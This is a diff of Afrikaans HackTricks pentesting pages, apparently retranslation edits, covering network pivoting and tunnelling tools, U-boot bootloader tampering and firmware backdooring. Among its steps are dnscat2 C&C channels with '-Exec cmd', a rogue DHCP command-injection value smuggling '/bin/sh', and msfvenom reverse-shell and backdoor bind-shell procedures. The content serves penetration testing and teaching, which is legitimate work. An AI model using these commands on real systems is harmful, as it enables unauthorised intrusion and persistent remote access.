echo y | plink.exe -l <Our_valid_username> -pw <valid_password> [-p <port>] -R <port_ in_our_host>:<next_ip>:<final_port> <your_ip>
|
||||
echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0.41 #Local port 9090 to out port 9090
|
||||
```
|
||||
## Windows netsh
|
||||
|
||||
### Poort-tot-poort
|
||||
### Port2Port
|
||||
|
||||
Jy moet 'n plaaslike admin wees (vir enige poort)
|
||||
```bash
|
||||
|
@ -327,37 +326,37 @@ netsh interface portproxy delete v4tov4 listenaddress=0.0.0.0 listenport=4444
|
|||
## SocksOverRDP & Proxifier
|
||||
|
||||
Jy moet **RDP-toegang oor die stelsel** hê.\
|
||||
Aflaai:
|
||||
Laai af:
|
||||
|
||||
1. [SocksOverRDP x64 Binêre lêers](https://github.com/nccgroup/SocksOverRDP/releases) - Hierdie instrument gebruik `Dinamiese Virtuele Kanale` (`DVC`) van die Verrekenaarbedienerdiensfunksie van Windows. DVC is verantwoordelik vir **tunneling pakkies oor die RDP-verbinding**.
|
||||
2. [Proxifier Draagbare Binêre lêer](https://www.proxifier.com/download/#win-tab)
|
||||
1. [SocksOverRDP x64 Binaries](https://github.com/nccgroup/SocksOverRDP/releases) - Hierdie hulpmiddel gebruik `Dynamic Virtual Channels` (`DVC`) van die Remote Desktop Service-funksie van Windows. DVC is verantwoordelik vir **tunneling pakkette oor die RDP-verbinding**.
|
||||
2. [Proxifier Portable Binary](https://www.proxifier.com/download/#win-tab)
|
||||
|
||||
Laai **`SocksOverRDP-Plugin.dll`** op jou kliëntrekenaar soos hierdie:
|
||||
Laai **`SocksOverRDP-Plugin.dll`** in jou kliëntrekenaar soos volg:
|
||||
```bash
|
||||
# Load SocksOverRDP.dll using regsvr32.exe
|
||||
C:\SocksOverRDP-x64> regsvr32.exe SocksOverRDP-Plugin.dll
|
||||
```
|
||||
Nou kan ons **verbind** met die **slagoffer** oor **RDP** deur **`mstsc.exe`** te gebruik, en ons behoort 'n **aanvraag** te ontvang wat sê dat die **SocksOverRDP-inprop geaktiveer** is, en dit sal **luister** op **127.0.0.1:1080**.
|
||||
Nou kan ons **verbinde** met die **slagoffer** oor **RDP** met **`mstsc.exe`**, en ons behoort 'n **prompt** te ontvang wat sê dat die **SocksOverRDP plugin geaktiveer is**, en dit sal **luister** op **127.0.0.1:1080**.
|
||||
|
||||
**Verbind** via **RDP** en laai & voer die `SocksOverRDP-Server.exe` binêre lêer op die slagoffer se masjien uit:
|
||||
**Verbind** via **RDP** en laai op & voer die `SocksOverRDP-Server.exe` binêre uit op die slagoffer masjien:
|
||||
```
|
||||
C:\SocksOverRDP-x64> SocksOverRDP-Server.exe
|
||||
```
|
||||
**Bevestig nou op jou masjien (aanvaller) dat poort 1080 aan die luister is:**
|
||||
Nou, bevestig op jou masjien (aanvaller) dat die poort 1080 luister:
|
||||
```
|
||||
netstat -antb | findstr 1080
|
||||
```
|
||||
Nou kan jy **[Proxifier](https://www.proxifier.com/)** gebruik **om die verkeer deur daardie poort te proxy.**
|
||||
Nou kan jy [**Proxifier**](https://www.proxifier.com/) **gebruik om die verkeer deur daardie poort te proxy.**
|
||||
|
||||
## Proxify Windows GUI Apps
|
||||
|
||||
Jy kan Windows GUI-programme laat navigeer deur 'n proxy te gebruik met [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profiel -> Proxy-bedieners** voeg die IP en poort van die SOCKS-bediener by.\
|
||||
In **Profiel -> Proxifiseringreëls** voeg die naam van die program wat geproxifiseer moet word by en die verbindinge na die IP-adresse wat jy wil proxifiseer.
|
||||
Jy kan Windows GUI-apps laat navigeer deur 'n proxy met behulp van [**Proxifier**](https://www.proxifier.com/).\
|
||||
In **Profile -> Proxy Servers** voeg die IP en poort van die SOCKS-bediener by.\
|
||||
In **Profile -> Proxification Rules** voeg die naam van die program wat geproxify moet word en die verbindings na die IP's wat jy wil proxify by.
|
||||
|
||||
## NTLM proxy omseil
|
||||
## NTLM proxy bypass
|
||||
|
||||
Die voorheen genoemde instrument: **Rpivot**\
|
||||
Die voorheen genoemde hulpmiddel: **Rpivot**\
|
||||
**OpenVPN** kan dit ook omseil deur hierdie opsies in die konfigurasie-lêer in te stel:
|
||||
```bash
|
||||
http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
||||
|
@ -366,8 +365,8 @@ http-proxy <proxy_ip> 8080 <file_with_creds> ntlm
|
|||
|
||||
[http://cntlm.sourceforge.net/](http://cntlm.sourceforge.net/)
|
||||
|
||||
Dit verifieer teen 'n proksi en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, deurgestuur word. Dan kan jy die gereedskap van jou keuse deur hierdie poort gebruik.\
|
||||
Byvoorbeeld wat poort 443 deurstuur
|
||||
Dit verifieer teen 'n proxy en bind 'n poort plaaslik wat na die eksterne diens wat jy spesifiseer, voortgegee word. Dan kan jy die hulpmiddel van jou keuse deur hierdie poort gebruik.\
|
||||
Byvoorbeeld, dit gee die poort 443 voort.
|
||||
```
|
||||
Username Alice
|
||||
Password P@ssw0rd
|
||||
|
@ -375,8 +374,8 @@ Domain CONTOSO.COM
|
|||
Proxy 10.0.0.10:8080
|
||||
Tunnel 2222:<attackers_machine>:443
|
||||
```
|
||||
Nou, as jy byvoorbeeld die **SSH**-diens in die slagoffer instel om na port 443 te luister. Jy kan daarmee verbind deur die aanvaller se poort 2222.\
|
||||
Jy kan ook 'n **meterpreter** gebruik wat na localhost:443 verbind en die aanvaller luister na poort 2222.
|
||||
Nou, as jy byvoorbeeld in die slagoffer die **SSH** diens stel om op poort 443 te luister. Jy kan dit deur die aanvaller se poort 2222 verbind.\
|
||||
Jy kan ook 'n **meterpreter** gebruik wat met localhost:443 verbind en die aanvaller luister op poort 2222.
|
||||
|
||||
## YARP
|
||||
|
||||
|
@ -388,13 +387,13 @@ Jy kan ook 'n **meterpreter** gebruik wat na localhost:443 verbind en die aanval
|
|||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
Root is nodig in beide stelsels om tun-adaptere te skep en data tussen hulle te tunnel deur DNS-navrae.
|
||||
Root is nodig in beide stelsels om tun-adapters te skep en data tussen hulle te tonnel deur DNS-vrae te gebruik.
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
#You can see the victim at 1.1.1.2
|
||||
```
|
||||
Die tonnel sal baie stadig wees. Jy kan 'n gekomprimeerde SSH-verbinding deur hierdie tonnel skep deur die volgende te gebruik:
|
||||
Die tonnel sal baie stadig wees. Jy kan 'n gecomprimeerde SSH-verbinding deur hierdie tonnel skep deur te gebruik:
|
||||
```
|
||||
ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
```
|
||||
|
@ -402,7 +401,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
|||
|
||||
[**Laai dit hier af**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
Stel 'n C\&C-kanaal deur DNS op. Dit benodig nie root-voorregte nie.
|
||||
Stel 'n C\&C-kanaal deur DNS in. Dit benodig nie wortelregte nie.
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
|
@ -413,19 +412,19 @@ victim> ./dnscat2 --dns host=10.10.10.10,port=5353
|
|||
```
|
||||
#### **In PowerShell**
|
||||
|
||||
Jy kan [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) gebruik om 'n dnscat2-klient in PowerShell te hardloop:
|
||||
Jy kan [**dnscat2-powershell**](https://github.com/lukebaggett/dnscat2-powershell) gebruik om 'n dnscat2-kliënt in powershell te laat loop:
|
||||
```
|
||||
Import-Module .\dnscat2.ps1
|
||||
Start-Dnscat2 -DNSserver 10.10.10.10 -Domain mydomain.local -PreSharedSecret somesecret -Exec cmd
|
||||
```
|
||||
#### **Poort deurstuur met dnscat**
|
||||
#### **Port forwarding met dnscat**
|
||||
```bash
|
||||
session -i <sessions_id>
|
||||
listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this bind 8080port in attacker host
|
||||
```
|
||||
#### Verander proxychains DNS
|
||||
|
||||
Proxychains onderskep die `gethostbyname` libc-oproep en stuur tcp DNS-versoeke deur die socks-proksi. Standaard gebruik proxychains die DNS-bediener **4.2.2.2** (hardgekoeër). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows-omgewing** is, kan jy die IP van die **domeinbeheerder** instel.
|
||||
Proxychains onderskep `gethostbyname` libc oproep en tonnel tcp DNS versoek deur die socks proxy. Deur **default** is die **DNS** bediener wat proxychains gebruik **4.2.2.2** (hardgecodeer). Om dit te verander, wysig die lêer: _/usr/lib/proxychains3/proxyresolv_ en verander die IP. As jy in 'n **Windows omgewing** is, kan jy die IP van die **domeinbeheerder** stel.
|
||||
|
||||
## Tonnels in Go
|
||||
|
||||
|
@ -438,7 +437,7 @@ Proxychains onderskep die `gethostbyname` libc-oproep en stuur tcp DNS-versoeke
|
|||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
Root is nodig in beide stelsels om tonnel-adaptere te skep en data tussen hulle te tonnel met behulp van ICMP-echoversoeke.
|
||||
Root is nodig in beide stelsels om tun adapters te skep en tonnel data tussen hulle deur ICMP echo versoeke.
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
|
@ -462,13 +461,13 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
|||
```
|
||||
## ngrok
|
||||
|
||||
**[ngrok](https://ngrok.com/) is 'n gereedskap om oplossings aan die internet bloot te stel in een opdragreël.**
|
||||
*Uitstal URI is soos:* **UID.ngrok.io**
|
||||
**[ngrok](https://ngrok.com/) is 'n hulpmiddel om oplossings in een opdraglyn aan die internet bloot te stel.**
|
||||
*Blootstellings-URI is soos:* **UID.ngrok.io**
|
||||
|
||||
### Installasie
|
||||
|
||||
- Skep 'n rekening: https://ngrok.com/signup
|
||||
- Klient aflaai:
|
||||
- Kliënt aflaai:
|
||||
```bash
|
||||
tar xvzf ~/Downloads/ngrok-v3-stable-linux-amd64.tgz -C /usr/local/bin
|
||||
chmod a+x ./ngrok
|
||||
|
@ -479,7 +478,7 @@ chmod a+x ./ngrok
|
|||
|
||||
**Dokumentasie:** [https://ngrok.com/docs/getting-started/](https://ngrok.com/docs/getting-started/).
|
||||
|
||||
*Dit is ook moontlik om verifikasie en TLS by te voeg, indien nodig.*
|
||||
*Dit is ook moontlik om outentisering en TLS by te voeg, indien nodig.*
|
||||
|
||||
#### Tunneling TCP
|
||||
```bash
|
||||
|
@ -489,14 +488,14 @@ chmod a+x ./ngrok
|
|||
# Listen (example): nc -nvlp 4444
|
||||
# Remote connect (example): nc $(dig +short 0.tcp.ngrok.io) 12345
|
||||
```
|
||||
#### Blootstelling van lêers met HTTP
|
||||
#### Lêers blootstel met HTTP
|
||||
```bash
|
||||
./ngrok http file:///tmp/httpbin/
|
||||
# Example of resulting link: https://abcd-1-2-3-4.ngrok.io/
|
||||
```
|
||||
#### Sniffing HTTP oproepe
|
||||
#### Sniffing HTTP calls
|
||||
|
||||
*Handig vir XSS, SSRF, SSTI ...*
|
||||
*Nuttig vir XSS, SSRF, SSTI ...*
|
||||
Direk vanaf stdout of in die HTTP-koppelvlak [http://127.0.0.1:4040](http://127.0.0.1:4000).
|
||||
|
||||
#### Tunneling interne HTTP-diens
|
||||
|
@ -508,7 +507,7 @@ Direk vanaf stdout of in die HTTP-koppelvlak [http://127.0.0.1:4040](http://127.
|
|||
```
|
||||
#### ngrok.yaml eenvoudige konfigurasie voorbeeld
|
||||
|
||||
Dit maak 3 tonnels oop:
|
||||
Dit open 3 tonnels:
|
||||
- 2 TCP
|
||||
- 1 HTTP met statiese lêers blootstelling vanaf /tmp/httpbin/
|
||||
```yaml
|
||||
|
@ -528,7 +527,7 @@ addr: file:///tmp/httpbin/
|
|||
* [https://github.com/securesocketfunneling/ssf](https://github.com/securesocketfunneling/ssf)
|
||||
* [https://github.com/z3APA3A/3proxy](https://github.com/z3APA3A/3proxy)
|
||||
|
||||
**Probeer Hard Security Group**
|
||||
**Probeer Hard Sekuriteit Groep**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -536,14 +535,17 @@ addr: file:///tmp/httpbin/
|
|||
|
||||
***
|
||||
|
||||
{% hint style="success" %}
|
||||
Leer & oefen AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Opleiding AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Leer & oefen GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Opleiding GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Ondersteun HackTricks</summary>
|
||||
|
||||
* Werk jy in 'n **cybersecurity-maatskappy**? Wil jy jou **maatskappy geadverteer sien in HackTricks**? of wil jy toegang hê tot die **nuutste weergawe van die PEASS of HackTricks aflaai in PDF-formaat**? Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* **Sluit aan by die** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** my op **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die [hacktricks repo](https://github.com/carlospolop/hacktricks) en [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Kontroleer die [**subskripsie planne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel hacking truuks deur PRs in te dien na die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,10 @@
|
|||
<details>
|
||||
The following steps are recommended for modifying device startup configurations and bootloaders like U-boot:
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
1. **Toegang tot Bootloader se Interpreter Shell**:
|
||||
- Tydens opstart, druk "0", spasie, of ander geïdentifiseerde "magiese kodes" om toegang te verkry tot die bootloader se interpreter shell.
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
Die volgende stappe word aanbeveel vir die wysiging van toestel-opstartkonfigurasies en opstellers soos U-boot:
|
||||
|
||||
1. **Toegang tot die Opstellers se Interpreter-skoot**:
|
||||
- Druk tydens opstart "0", spasie, of ander geïdentifiseerde "towenaarkodes" om toegang te verkry tot die opstellers se interpreter-skoot.
|
||||
|
||||
2. **Wysig Opstartargumente**:
|
||||
- Voer die volgende bevele uit om '`init=/bin/sh`' by die opstartargumente aan te heg, wat die uitvoering van 'n skel bevel moontlik maak:
|
||||
2. **Wysig Boot Argumente**:
|
||||
- Voer die volgende opdragte uit om '`init=/bin/sh`' by die boot argumente te voeg, wat die uitvoering van 'n shell-opdrag toelaat:
|
||||
%%%
|
||||
#printenv
|
||||
#setenv bootargs=console=ttyS0,115200 mem=63M root=/dev/mtdblock3 mtdparts=sflash:<partitiionInfo> rootfstype=<fstype> hasEeprom=0 5srst=0 init=/bin/sh
|
||||
|
@ -26,46 +12,31 @@ Die volgende stappe word aanbeveel vir die wysiging van toestel-opstartkonfigura
|
|||
#boot
|
||||
%%%
|
||||
|
||||
3. **Stel 'n TFTP-bediener op**:
|
||||
- Stel 'n TFTP-bediener op om beelde oor 'n plaaslike netwerk te laai:
|
||||
3. **Stel TFTP Bediening in**:
|
||||
- Konfigureer 'n TFTP-bediening om beelde oor 'n plaaslike netwerk te laai:
|
||||
%%%
|
||||
#setenv ipaddr 192.168.2.2 #plaaslike IP van die toestel
|
||||
#setenv serverip 192.168.2.1 #TFTP-bediener IP
|
||||
#setenv serverip 192.168.2.1 #TFTP bediener IP
|
||||
#saveenv
|
||||
#reset
|
||||
#ping 192.168.2.1 #kontroleer netwerktoegang
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP-bediener
|
||||
#tftp ${loadaddr} uImage-3.6.35 #loadaddr neem die adres om die lêer in te laai en die lêernaam van die beeld op die TFTP-bediening
|
||||
%%%
|
||||
|
||||
4. **Maak gebruik van `ubootwrite.py`**:
|
||||
- Gebruik `ubootwrite.py` om die U-boot beeld te skryf en 'n gewysigde firmware te stuur om worteltoegang te verkry.
|
||||
4. **Gebruik `ubootwrite.py`**:
|
||||
- Gebruik `ubootwrite.py` om die U-boot beeld te skryf en 'n gewysigde firmware te druk om worteltoegang te verkry.
|
||||
|
||||
5. **Kontroleer die Foutopsporingskenmerke**:
|
||||
- Verifieer of foutopsporingskenmerke soos oordrewe logboekinskrywings, die laai van willekeurige kerns, of die opstart vanaf onbetroubare bronne geaktiveer is.
|
||||
5. **Kontroleer Debug Kenmerke**:
|
||||
- Verifieer of debug kenmerke soos gedetailleerde logging, laai van arbitrêre kerne, of opstart vanaf onbetroubare bronne geaktiveer is.
|
||||
|
||||
6. **Versigtige Hardeware-Interferensie**:
|
||||
- Wees versigtig wanneer jy een pen aan die grond koppel en interaksie hê met SPI- of NAND-flitskyple tydens die toestel se opstartvolgorde, veral voordat die kernel dekomprimeer. Raadpleeg die NAND-flitskyple se datablad voordat jy penne kortsluit.
|
||||
6. **Versigtigheid met Hardeware Interferensie**:
|
||||
- Wees versigtig wanneer jy een pen aan grond koppel en met SPI of NAND-flits skywe interaksie het tydens die toestel se opstartvolgorde, veral voordat die kern ontspan. Raadpleeg die NAND-flits skyf se datasheet voordat jy penne kortsluit.
|
||||
|
||||
7. **Stel 'n Skelm DHCP-bediener op**:
|
||||
- Stel 'n skelm DHCP-bediener op met skadelike parameters vir 'n toestel om tydens 'n PXE-opstart in te neem. Maak gebruik van gereedskap soos Metasploit se (MSF) DHCP-hulpbediener. Wysig die 'FILENAME'-parameter met bevelinspuitingsbevele soos `'a";/bin/sh;#'` om insetvalidering vir toestel-opstartprosedures te toets.
|
||||
7. **Konfigureer Rogue DHCP Bediening**:
|
||||
- Stel 'n rogue DHCP-bediening op met kwaadwillige parameters vir 'n toestel om in te neem tydens 'n PXE-opstart. Gebruik gereedskap soos Metasploit se (MSF) DHCP bystandbediening. Wysig die 'FILENAME' parameter met opdrag-inspuitingsopdragte soos `'a";/bin/sh;#'` om invoervalidasie vir toestel opstart prosedures te toets.
|
||||
|
||||
**Nota**: Die stappe wat fisiese interaksie met toestelpenne behels (*gemerk met sterre) moet met uiterste versigtigheid benader word om skade aan die toestel te voorkom.
|
||||
**Let wel**: Die stappe wat fisiese interaksie met toestel penne behels (*gemerk met asterisks) moet met uiterste versigtigheid benader word om skade aan die toestel te voorkom.
|
||||
|
||||
|
||||
## Verwysings
|
||||
* [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,58 +1,23 @@
|
|||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
## Firmware Integriteit
|
||||
|
||||
Die **aangepaste firmware en/of saamgestelde binêre lêers kan geüpload word om integriteits- of handtekeningverifikasie-foute uit te buit**. Die volgende stappe kan gevolg word vir die samestelling van 'n agterdeur bind shell:
|
||||
Die **aangepaste firmware en/of gecompileerde binêre kan opgelaai word om integriteit of handtekeningverifikasiefoute te benut**. Die volgende stappe kan gevolg word vir agterdeur bind shell kompilering:
|
||||
|
||||
1. Die firmware kan onttrek word met behulp van firmware-mod-kit (FMK).
|
||||
2. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
|
||||
3. 'n kruiskompilator kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
|
||||
4. Die agterdeur kan gebou word met behulp van die kruiskompilator.
|
||||
5. Die agterdeur kan gekopieer word na die onttrokke firmware /usr/bin-gids.
|
||||
6. Die toepaslike QEMU-binêre lêer kan gekopieer word na die onttrokke firmware rootfs.
|
||||
7. Die agterdeur kan geëmuleer word deur middel van chroot en QEMU.
|
||||
8. Die agterdeur kan benader word via netcat.
|
||||
9. Die QEMU-binêre lêer moet verwyder word uit die onttrokke firmware rootfs.
|
||||
1. Die firmware kan onttrek word met firmware-mod-kit (FMK).
|
||||
2. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
|
||||
3. 'n Kruiskompiler kan gebou word met behulp van Buildroot of ander geskikte metodes vir die omgewing.
|
||||
4. Die agterdeur kan gebou word met behulp van die kruiskompiler.
|
||||
5. Die agterdeur kan na die onttrokken firmware /usr/bin gids gekopieer word.
|
||||
6. Die toepaslike QEMU binêre kan na die onttrokken firmware rootfs gekopieer word.
|
||||
7. Die agterdeur kan geëmuleer word met behulp van chroot en QEMU.
|
||||
8. Die agterdeur kan via netcat toeganklik gemaak word.
|
||||
9. Die QEMU binêre moet van die onttrokken firmware rootfs verwyder word.
|
||||
10. Die gewysigde firmware kan herverpak word met behulp van FMK.
|
||||
11. Die agterdeur-firmware kan getoets word deur dit te emuleer met firmware-analise-toerusting (FAT) en deur aan te sluit by die teiken-agterdeur IP en poort met behulp van netcat.
|
||||
11. Die agterdeur firmware kan getoets word deur dit te emuleer met firmware analise toolkit (FAT) en verbinding te maak met die teiken agterdeur IP en poort met behulp van netcat.
|
||||
|
||||
Indien 'n root-skoot reeds verkry is deur dinamiese analise, bootloader-manipulasie, of hardeware-sekuriteitstoetsing, kan voorgekompilde skadelike binêre lêers soos implante of omgekeerde skulpe uitgevoer word. Geoutomatiseerde vrag/implant-toerusting soos die Metasploit-raamwerk en 'msfvenom' kan benut word met die volgende stappe:
|
||||
As 'n root shell reeds verkry is deur dinamiese analise, bootloader manipulasie, of hardeware sekuriteitstoetsing, kan voorafgecompileerde kwaadwillige binêre soos implante of omgekeerde shells uitgevoer word. Geoutomatiseerde payload/implant gereedskap soos die Metasploit raamwerk en 'msfvenom' kan benut word met die volgende stappe:
|
||||
|
||||
1. Die teikenfirmware-argitektuur en endianness moet geïdentifiseer word.
|
||||
2. Msfvenom kan gebruik word om die teiken-vrag, aanvaller-gashuis IP, luisterpoortnommer, lêertipe, argitektuur, platform, en die uitvoerlêer te spesifiseer.
|
||||
3. Die vrag kan oorgedra word na die gekompromitteerde toestel en verseker word dat dit uitvoeringsregte het.
|
||||
4. Metasploit kan voorberei word om inkomende versoek te hanteer deur msfconsole te begin en die instellings te konfigureer volgens die vrag.
|
||||
5. Die meterpreter omgekeerde skulp kan uitgevoer word op die gekompromitteerde toestel.
|
||||
6. Meterpreter-sessies kan gemonitor word soos hulle oopmaak.
|
||||
7. Post-exploitasie-aktiwiteite kan uitgevoer word.
|
||||
|
||||
Indien moontlik, kan kwesbaarhede binne opstartskripte uitgebuit word om volgehoue toegang tot 'n toestel oor herlaaie te verkry. Hierdie kwesbaarhede ontstaan wanneer opstartskripte verwys na, [simbolies skakel](https://www.chromium.org/chromium-os/chromiumos-design-docs/hardening-against-malicious-stateful-data), of afhanklik is van kode wat geleë is in onbetroubare gemoniteerde plekke soos SD-kaarte en flitsvolumes wat gebruik word vir die stoor van data buite die hooflêersisteme.
|
||||
|
||||
## Verwysings
|
||||
* Vir verdere inligting, kyk na [https://scriptingxss.gitbook.io/firmware-security-testing-methodology/](https://scriptingxss.gitbook.io/firmware-security-testing-methodology/)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
1. Die teiken firmware argitektuur en endianness moet geïdentifiseer word.
|
||||
2. Msfvenom kan gebruik word om die teiken payload, aanvaller gasheer IP, luisterpoornommer, lêertype, argitektuur, platform, en die uitvoer lêer te spesifiseer.
|
||||
